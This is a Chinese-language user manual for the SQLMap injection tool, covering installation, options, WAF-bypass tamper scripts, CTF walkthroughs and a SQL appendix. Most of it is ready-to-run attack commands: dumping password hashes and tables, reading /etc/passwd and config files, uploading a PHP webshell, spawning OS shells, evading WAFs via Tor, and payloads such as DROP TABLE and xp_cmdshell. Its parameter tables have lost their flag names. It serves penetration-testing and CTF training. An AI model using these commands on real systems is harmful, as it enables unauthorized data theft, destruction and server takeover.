SQLMap 使用手册¶
工具简介¶
SQLMap 是一款开源的自动化SQL注入工具,用于检测和利用SQL注入漏洞。
主要特性:
全自动SQL注入检测
支持所有主流数据库(MySQL、PostgreSQL、Oracle、MSSQL等)
多种注入技术(基于布尔、基于时间、基于错误、联合查询、堆叠查询)
数据库指纹识别
数据提取和数据库接管
文件系统访问
执行系统命令
WAF识别和绕过
支持的数据库:
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB
HSQLDB
Informix
适用场景:
Web安全测试
渗透测试
CTF竞赛
漏洞挖掘
安装方法¶
方法1:使用pip安装(推荐)¶
# 安装
pip3 install sqlmap
# 验证安装
sqlmap --version
方法2:从GitHub克隆源码¶
# 克隆仓库(推荐,便于更新)
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
# 进入目录
cd sqlmap-dev
# 运行
python3 sqlmap.py -u "http://example.com/page.php?id=1"
# 更新
git pull
方法3:使用包管理器¶
# Kali Linux(通常预装)
sudo apt install sqlmap
# Arch Linux
sudo pacman -S sqlmap
# macOS (Homebrew)
brew install sqlmap
基本用法¶
最简单的注入测试¶
sqlmap -u "http://example.com/page.php?id=1"
指定POST数据¶
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"
从Burp Suite复制的请求¶
# 保存Burp请求到request.txt
sqlmap -r request.txt
批量测试¶
# 创建URL列表文件
sqlmap -m urls.txt
指定数据库类型¶
sqlmap -u "http://example.com/page.php?id=1" --dbms=mysql
核心参数¶
目标设置¶
参数 |
说明 |
示例 |
|---|---|---|
|
目标URL |
|
|
数据库连接字符串 |
|
|
从文件加载HTTP请求 |
|
|
批量扫描URL列表 |
|
|
使用Google dork搜索 |
|
请求参数¶
参数 |
说明 |
示例 |
|---|---|---|
|
HTTP方法 |
|
|
POST数据 |
|
|
参数分隔符 |
|
|
Cookie值 |
|
|
Cookie分隔符 |
|
|
从文件加载Cookie |
|
|
User-Agent |
|
|
随机User-Agent |
|
|
HTTP Host头 |
|
|
HTTP Referer头 |
|
|
额外的HTTP头 |
|
|
多个额外HTTP头 |
|
注入参数¶
参数 |
说明 |
示例 |
|---|---|---|
|
测试指定参数 |
|
|
跳过指定参数 |
|
|
指定数据库类型 |
|
|
指定操作系统 |
|
|
测试等级(1-5) |
|
|
风险等级(1-3) |
|
|
注入技术 |
|
检测参数¶
参数 |
说明 |
示例 |
|---|---|---|
|
页面匹配字符串 |
|
|
页面不匹配字符串 |
|
|
HTTP响应码 |
|
|
比较页面标题 |
|
|
仅比较文本内容 |
|
枚举参数¶
参数 |
说明 |
示例 |
|---|---|---|
|
获取数据库banner |
|
|
获取当前用户 |
|
|
获取当前数据库 |
|
|
检测是否DBA |
|
|
枚举用户 |
|
|
枚举密码哈希 |
|
|
枚举权限 |
|
|
枚举角色 |
|
|
枚举数据库 |
|
|
枚举表 |
|
|
枚举列 |
|
|
枚举schema |
|
|
导出数据 |
|
|
导出所有数据库 |
|
|
指定数据库 |
|
|
指定表 |
|
|
指定列 |
|
系统文件访问¶
参数 |
说明 |
示例 |
|---|---|---|
|
读取文件 |
|
|
写入本地文件 |
|
|
写入目标路径 |
|
操作系统访问¶
参数 |
说明 |
示例 |
|---|---|---|
|
执行系统命令 |
|
|
交互式shell |
|
|
OOB shell/Meterpreter |
|
|
SMB中继攻击 |
|
性能优化¶
参数 |
说明 |
示例 |
|---|---|---|
|
最大线程数 |
|
|
预测输出 |
|
|
使用持久连接 |
|
|
使用空连接 |
|
WAF/IPS绕过¶
参数 |
说明 |
示例 |
|---|---|---|
|
识别WAF |
|
|
检查WAF |
|
|
使用tamper脚本 |
|
|
随机User-Agent |
|
|
延迟(秒) |
|
输出选项¶
参数 |
说明 |
示例 |
|---|---|---|
|
详细级别(0-6) |
|
|
使用默认选项 |
|
|
刷新会话 |
|
|
输出目录 |
|
|
记录流量 |
|
|
会话文件 |
|
实战示例¶
示例1:基础GET注入测试¶
# 测试单个参数
sqlmap -u "http://example.com/page.php?id=1"
# 测试所有参数
sqlmap -u "http://example.com/page.php?id=1&name=test"
# 指定测试参数
sqlmap -u "http://example.com/page.php?id=1&name=test" -p id
示例2:POST注入测试¶
# 简单POST注入
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123"
# 指定测试POST参数
sqlmap -u "http://example.com/login.php" \
--data="username=admin&password=123" \
-p username
示例3:使用Burp Suite请求文件¶
# 1. 在Burp中右键 -> Copy to file -> 保存为request.txt
# 2. 使用sqlmap测试
sqlmap -r request.txt
# 指定测试参数
sqlmap -r request.txt -p id
# 批量模式(不询问)
sqlmap -r request.txt --batch
request.txt示例:
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=123
示例5:枚举数据库信息¶
# 获取数据库列表
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 获取当前数据库
sqlmap -u "http://example.com/page.php?id=1" --current-db
# 获取当前用户
sqlmap -u "http://example.com/page.php?id=1" --current-user
# 检查是否DBA
sqlmap -u "http://example.com/page.php?id=1" --is-dba
# 获取所有用户
sqlmap -u "http://example.com/page.php?id=1" --users
# 获取密码哈希
sqlmap -u "http://example.com/page.php?id=1" --passwords
示例6:枚举表和列¶
# 枚举指定数据库的所有表
sqlmap -u "http://example.com/page.php?id=1" -D testdb --tables
# 枚举指定表的所有列
sqlmap -u "http://example.com/page.php?id=1" -D testdb -T users --columns
# 完整枚举
sqlmap -u "http://example.com/page.php?id=1" --schema
示例7:数据提取¶
# 导出指定表的所有数据
sqlmap -u "http://example.com/page.php?id=1" \
-D testdb -T users --dump
# 导出指定列
sqlmap -u "http://example.com/page.php?id=1" \
-D testdb -T users -C username,password --dump
# 导出指定条件的数据
sqlmap -u "http://example.com/page.php?id=1" \
-D testdb -T users --dump --where="id>100"
# 导出所有数据库(慎用)
sqlmap -u "http://example.com/page.php?id=1" --dump-all
# 仅导出数据库结构
sqlmap -u "http://example.com/page.php?id=1" \
-D testdb --dump --no-data
示例8:文件读取¶
# 读取系统文件
sqlmap -u "http://example.com/page.php?id=1" \
--file-read="/etc/passwd"
# 读取Web配置文件
sqlmap -u "http://example.com/page.php?id=1" \
--file-read="/var/www/html/config.php"
# 读取MySQL配置
sqlmap -u "http://example.com/page.php?id=1" \
--file-read="/etc/my.cnf"
示例9:文件写入(Webshell)¶
# 1. 准备webshell文件 shell.php
# <?php system($_GET['cmd']); ?>
# 2. 上传webshell
sqlmap -u "http://example.com/page.php?id=1" \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php"
# 3. 访问
# http://example.com/shell.php?cmd=whoami
示例10:系统命令执行¶
# 执行单个命令
sqlmap -u "http://example.com/page.php?id=1" \
--os-cmd="whoami"
# 交互式Shell
sqlmap -u "http://example.com/page.php?id=1" \
--os-shell
# 在shell中执行:
# > whoami
# > cat /etc/passwd
# > ls -la
示例11:绕过WAF¶
# 使用tamper脚本绕过
sqlmap -u "http://example.com/page.php?id=1" \
--tamper=space2comment,between
# 多个tamper脚本
sqlmap -u "http://example.com/page.php?id=1" \
--tamper=space2comment,charencode,randomcase
# 随机User-Agent + 延迟
sqlmap -u "http://example.com/page.php?id=1" \
--random-agent \
--delay=2
# 识别WAF
sqlmap -u "http://example.com/page.php?id=1" \
--identify-waf
示例12:高级测试¶
# 高风险高级别测试
sqlmap -u "http://example.com/page.php?id=1" \
--level=5 \
--risk=3
# 指定注入技术
sqlmap -u "http://example.com/page.php?id=1" \
--technique=U # 仅联合查询
# 批处理模式 + 详细输出
sqlmap -u "http://example.com/page.php?id=1" \
--batch \
-v 3
注入技术¶
SQLMap支持6种主要注入技术(使用--technique参数):
B - Boolean-based blind (基于布尔的盲注)¶
原理:通过页面响应的不同判断条件真假
示例:
' AND 1=1 -- # 页面正常
' AND 1=2 -- # 页面异常
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=B
E - Error-based (基于错误)¶
原理:通过数据库错误信息获取数据
示例:
' AND extractvalue(1, concat(0x7e, version())) --
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=E
U - Union query-based (联合查询)¶
原理:使用UNION合并查询结果
示例:
' UNION SELECT 1,2,database(),4 --
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=U
S - Stacked queries (堆叠查询)¶
原理:执行多条SQL语句
示例:
'; DROP TABLE users; --
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=S
T - Time-based blind (基于时间的盲注)¶
原理:通过延迟判断条件真假
示例:
' AND SLEEP(5) --
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=T
Q - Inline queries (内联查询)¶
原理:在查询中嵌入子查询
使用:
sqlmap -u "http://example.com/page.php?id=1" --technique=Q
组合使用¶
# 仅使用联合查询和基于错误
sqlmap -u "http://example.com/page.php?id=1" --technique=UE
# 使用所有技术
sqlmap -u "http://example.com/page.php?id=1" --technique=BEUSTQ
高级功能¶
1. Google Dork搜索¶
# 搜索可能存在注入的页面
sqlmap -g "inurl:.php?id="
# 限制结果数量
sqlmap -g "inurl:.php?id=" --crawl=3
2. 网站爬虫¶
# 爬取网站并测试所有链接
sqlmap -u "http://example.com" --crawl=2
# 排除特定URL
sqlmap -u "http://example.com" --crawl=2 --exclude-sysdbs
3. 表单自动填充¶
# 自动识别并测试表单
sqlmap -u "http://example.com/login.php" --forms
# 自动填充表单
sqlmap -u "http://example.com/login.php" --forms --batch
4. 代理和匿名¶
# 使用HTTP代理
sqlmap -u "http://example.com/page.php?id=1" \
--proxy="http://127.0.0.1:8080"
# 使用SOCKS5代理
sqlmap -u "http://example.com/page.php?id=1" \
--proxy="socks5://127.0.0.1:1080"
# Tor匿名
sqlmap -u "http://example.com/page.php?id=1" \
--tor \
--tor-type=SOCKS5 \
--tor-port=9050 \
--check-tor
5. 会话管理¶
# 保存会话
sqlmap -u "http://example.com/page.php?id=1" -s session.sqlite
# 恢复会话
sqlmap -u "http://example.com/page.php?id=1" -s session.sqlite
# 刷新会话(重新测试)
sqlmap -u "http://example.com/page.php?id=1" --flush-session
6. 自定义注入点¶
# 使用星号(*)标记注入点
sqlmap -u "http://example.com/page.php" \
--data="id=1*&name=test"
# URI中的注入点
sqlmap -u "http://example.com/page/1*"
# 多个注入点
sqlmap -u "http://example.com/page.php?id=1*&cat=2*"
输出选项¶
详细级别¶
# 0 - 仅显示Python错误和关键消息
sqlmap -u URL -v 0
# 1 - 显示基本信息(默认)
sqlmap -u URL -v 1
# 2 - 显示调试信息
sqlmap -u URL -v 2
# 3 - 显示payload
sqlmap -u URL -v 3
# 4 - 显示HTTP请求
sqlmap -u URL -v 4
# 5 - 显示HTTP响应头
sqlmap -u URL -v 5
# 6 - 显示HTTP响应内容
sqlmap -u URL -v 6
输出目录¶
# 指定输出目录
sqlmap -u URL --output-dir=/tmp/sqlmap_results
# 默认目录:
# ~/.sqlmap/output/
流量记录¶
# 记录所有HTTP流量
sqlmap -u URL -t traffic.txt
# 查看流量文件
cat traffic.txt
绕过技巧¶
常用Tamper脚本¶
Tamper脚本 |
功能 |
示例 |
|---|---|---|
|
空格替换为注释 |
|
|
空格替换为加号 |
|
|
空格替换为#号和换行 |
|
|
用BETWEEN替换> |
|
|
URL编码 |
|
|
随机大小写 |
|
|
Unicode编码 |
|
|
等号替换为LIKE |
|
|
用GREATEST替换> |
|
|
单引号替换 |
|
|
添加NULL字节 |
|
|
IFNULL替换 |
|
|
绕过ModSecurity |
|
|
绕过ModSecurity |
|
|
版本注释 |
|
绕过示例¶
# 绕过空格过滤
sqlmap -u URL --tamper=space2comment
# 绕过关键字过滤
sqlmap -u URL --tamper=randomcase,charencode
# 绕过WAF(ModSecurity)
sqlmap -u URL --tamper=modsecurityversioned,space2comment
# 绕过安全狗
sqlmap -u URL --tamper=space2comment,between
# 组合多个tamper
sqlmap -u URL --tamper=space2comment,between,randomcase,charencode
# 自定义tamper脚本位置
# ~/.sqlmap/tamper/
自定义Tamper脚本¶
创建 custom.py:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
自定义payload修改
"""
# 示例:替换SELECT为SELECT(全角字符)
return payload.replace("SELECT", "SELECT")
使用:
sqlmap -u URL --tamper=custom
常见问题¶
Q1: 如何加快扫描速度?¶
解决方案:
# 增加线程
sqlmap -u URL --threads=10
# 使用预测输出
sqlmap -u URL --predict-output
# 使用空连接
sqlmap -u URL --null-connection
# 组合使用
sqlmap -u URL --threads=10 --predict-output --null-connection
Q2: 如何处理防护措施?¶
解决方案:
# 识别WAF
sqlmap -u URL --identify-waf
# 使用tamper脚本
sqlmap -u URL --tamper=space2comment,between
# 降低速度避免检测
sqlmap -u URL --delay=2 --randomize=param
# 随机User-Agent
sqlmap -u URL --random-agent
Q3: 如何测试登录后的页面?¶
解决方案:
# 方法1:使用Cookie
sqlmap -u URL --cookie="session=abc123"
# 方法2:从浏览器导出Cookie
# Chrome: EditThisCookie插件导出
sqlmap -u URL --load-cookies=cookies.txt
# 方法3:使用Burp请求文件
sqlmap -r request.txt
Q4: HTTPS站点出现SSL错误?¶
解决方案:
# 忽略SSL错误
sqlmap -u "https://example.com/page.php?id=1" --force-ssl
Q5: 如何保存和恢复扫描进度?¶
解决方案:
# 保存会话
sqlmap -u URL -s session.sqlite
# 恢复会话
sqlmap -u URL -s session.sqlite --resume
# 查看会话目录
ls ~/.sqlmap/output/
Q6: 如何批量扫描不询问?¶
解决方案:
# 使用batch模式
sqlmap -u URL --batch
# 组合其他参数
sqlmap -u URL --batch --threads=10 -v 0
Q7: 误报太多怎么办?¶
解决方案:
# 降低风险级别
sqlmap -u URL --level=1 --risk=1
# 指定特定注入技术
sqlmap -u URL --technique=E # 仅基于错误
# 使用字符串匹配
sqlmap -u URL --string="Welcome"
CTF实战¶
CTF常见场景¶
1. 简单GET注入¶
# 基础测试
sqlmap -u "http://ctf.example.com/page.php?id=1" --batch
# 快速获取数据库
sqlmap -u "http://ctf.example.com/page.php?id=1" --current-db --batch
# 获取表
sqlmap -u "http://ctf.example.com/page.php?id=1" -D ctf_db --tables --batch
# 获取flag
sqlmap -u "http://ctf.example.com/page.php?id=1" -D ctf_db -T flag --dump --batch
2. POST注入¶
# 登录表单注入
sqlmap -u "http://ctf.example.com/login.php" \
--data="username=admin&password=123" \
-p username \
--batch
# 搜索框注入
sqlmap -u "http://ctf.example.com/search.php" \
--data="keyword=test" \
--batch
3. Cookie注入¶
# 测试Cookie中的id参数
sqlmap -u "http://ctf.example.com/profile.php" \
--cookie="id=1; session=abc" \
-p id \
--batch
4. JSON注入¶
# 保存请求到request.txt
# POST /api/user HTTP/1.1
# Content-Type: application/json
#
# {"id": "1", "name": "test"}
sqlmap -r request.txt --batch
5. 盲注优化¶
# 基于时间的盲注(较慢)
sqlmap -u "http://ctf.example.com/page.php?id=1" \
--technique=T \
--threads=10 \
--batch
# 基于布尔的盲注(较快)
sqlmap -u "http://ctf.example.com/page.php?id=1" \
--technique=B \
--batch
6. 文件读取获取flag¶
# 读取flag文件
sqlmap -u "http://ctf.example.com/page.php?id=1" \
--file-read="/var/www/html/flag.txt" \
--batch
# 读取配置文件
sqlmap -u "http://ctf.example.com/page.php?id=1" \
--file-read="/var/www/html/config.php" \
--batch
7. 二次注入¶
# 第一步:注册用户(插入payload)
# username: admin'--
# 第二步:登录后测试
sqlmap -u "http://ctf.example.com/profile.php" \
--cookie="session=abc123" \
--second-order="http://ctf.example.com/info.php" \
--batch
CTF快速流程¶
# 1. 快速检测是否存在注入
sqlmap -u "TARGET_URL" --batch --smart
# 2. 如果存在,获取当前数据库
sqlmap -u "TARGET_URL" --current-db --batch
# 3. 列出所有表
sqlmap -u "TARGET_URL" -D DATABASE_NAME --tables --batch
# 4. 如果看到flag表,直接dump
sqlmap -u "TARGET_URL" -D DATABASE_NAME -T flag --dump --batch
# 5. 如果没有flag表,dump所有数据
sqlmap -u "TARGET_URL" -D DATABASE_NAME --dump-all --batch
CTF技巧¶
# 技巧1:使用--smart智能检测
sqlmap -u URL --smart --batch
# 技巧2:跳过系统数据库
sqlmap -u URL --exclude-sysdbs
# 技巧3:搜索包含关键字的列
sqlmap -u URL -D db --search -C flag,password,secret
# 技巧4:限制dump数量(快速查看)
sqlmap -u URL -D db -T users --dump --start=1 --stop=10
# 技巧5:只dump特定列
sqlmap -u URL -D db -T flag -C flag_value --dump
# 技巧6:使用where条件
sqlmap -u URL -D db -T users --dump --where="id>100"
完整CTF示例¶
# 场景:某CTF题目URL为 http://ctf.example.com/article.php?id=1
# 步骤1:快速检测
sqlmap -u "http://ctf.example.com/article.php?id=1" --batch
# 步骤2:获取数据库列表
sqlmap -u "http://ctf.example.com/article.php?id=1" --dbs --batch
# 输出:
# [*] ctf
# [*] information_schema
# [*] mysql
# 步骤3:查看ctf数据库的表
sqlmap -u "http://ctf.example.com/article.php?id=1" -D ctf --tables --batch
# 输出:
# [*] articles
# [*] users
# [*] secret_flag
# 步骤4:dump flag表
sqlmap -u "http://ctf.example.com/article.php?id=1" -D ctf -T secret_flag --dump --batch
# 输出:
# +----+--------------------------------+
# | id | flag |
# +----+--------------------------------+
# | 1 | flag{sql_injection_is_easy} |
# +----+--------------------------------+
# 获得flag: flag{sql_injection_is_easy}
安全提示¶
⚠️ 重要提醒:
仅用于授权测试:只能在获得明确授权的系统上使用
遵守法律法规:未经授权的SQL注入测试是违法行为
教育用途:本手册仅供安全教育和CTF竞赛使用
数据保护:测试过程中注意保护敏感数据
影响评估:某些操作(如–os-shell)可能对目标系统造成影响
CTF环境:在CTF环境中可以大胆尝试,但生产环境需谨慎
参考资源¶
官方网站: https://sqlmap.org
GitHub: https://github.com/sqlmapproject/sqlmap
Wiki文档: https://github.com/sqlmapproject/sqlmap/wiki
Tamper脚本: https://github.com/sqlmapproject/sqlmap/tree/master/tamper
OWASP: https://owasp.org/www-community/attacks/SQL_Injection
快速参考卡¶
最常用命令¶
# 基础测试
sqlmap -u "URL" --batch
# POST注入
sqlmap -u "URL" --data="param=value" --batch
# Cookie注入
sqlmap -u "URL" --cookie="id=1" -p id --batch
# 使用请求文件
sqlmap -r request.txt --batch
# 完整枚举流程
sqlmap -u "URL" --dbs --batch # 列数据库
sqlmap -u "URL" -D db_name --tables --batch # 列表
sqlmap -u "URL" -D db_name -T table --dump --batch # dump数据
# 文件操作
sqlmap -u "URL" --file-read="/etc/passwd" --batch
# WAF绕过
sqlmap -u "URL" --tamper=space2comment --random-agent --batch
# 高级测试
sqlmap -u "URL" --level=5 --risk=3 --batch
推荐参数组合¶
# CTF快速模式
sqlmap -u "URL" --batch --smart --threads=10 -v 0
# 渗透测试标准模式
sqlmap -u "URL" --batch --random-agent --tamper=space2comment
# 深度测试模式
sqlmap -u "URL" --level=5 --risk=3 --batch --threads=10
# 隐蔽模式
sqlmap -u "URL" --random-agent --delay=2 --tor --batch
文档版本: 1.0 更新日期: 2025-01-21 适用版本: SQLMap 1.9+
附录:常见数据库特性¶
MySQL¶
-- 版本
SELECT @@version
SELECT version()
-- 当前用户
SELECT user()
SELECT current_user()
-- 当前数据库
SELECT database()
-- 文件读取
SELECT load_file('/etc/passwd')
-- 文件写入
SELECT 'shell' INTO OUTFILE '/var/www/html/shell.php'
-- 延时
SELECT SLEEP(5)
PostgreSQL¶
-- 版本
SELECT version()
-- 当前用户
SELECT current_user
-- 当前数据库
SELECT current_database()
-- 文件读取
SELECT pg_read_file('/etc/passwd')
-- 命令执行
COPY (SELECT '') TO PROGRAM 'whoami'
MSSQL¶
-- 版本
SELECT @@version
-- 当前用户
SELECT SUSER_NAME()
SELECT USER_NAME()
-- 当前数据库
SELECT DB_NAME()
-- 延时
WAITFOR DELAY '00:00:05'
-- 命令执行
EXEC xp_cmdshell 'whoami'
Oracle¶
-- 版本
SELECT banner FROM v$version
-- 当前用户
SELECT user FROM dual
-- 延时
BEGIN DBMS_LOCK.SLEEP(5); END;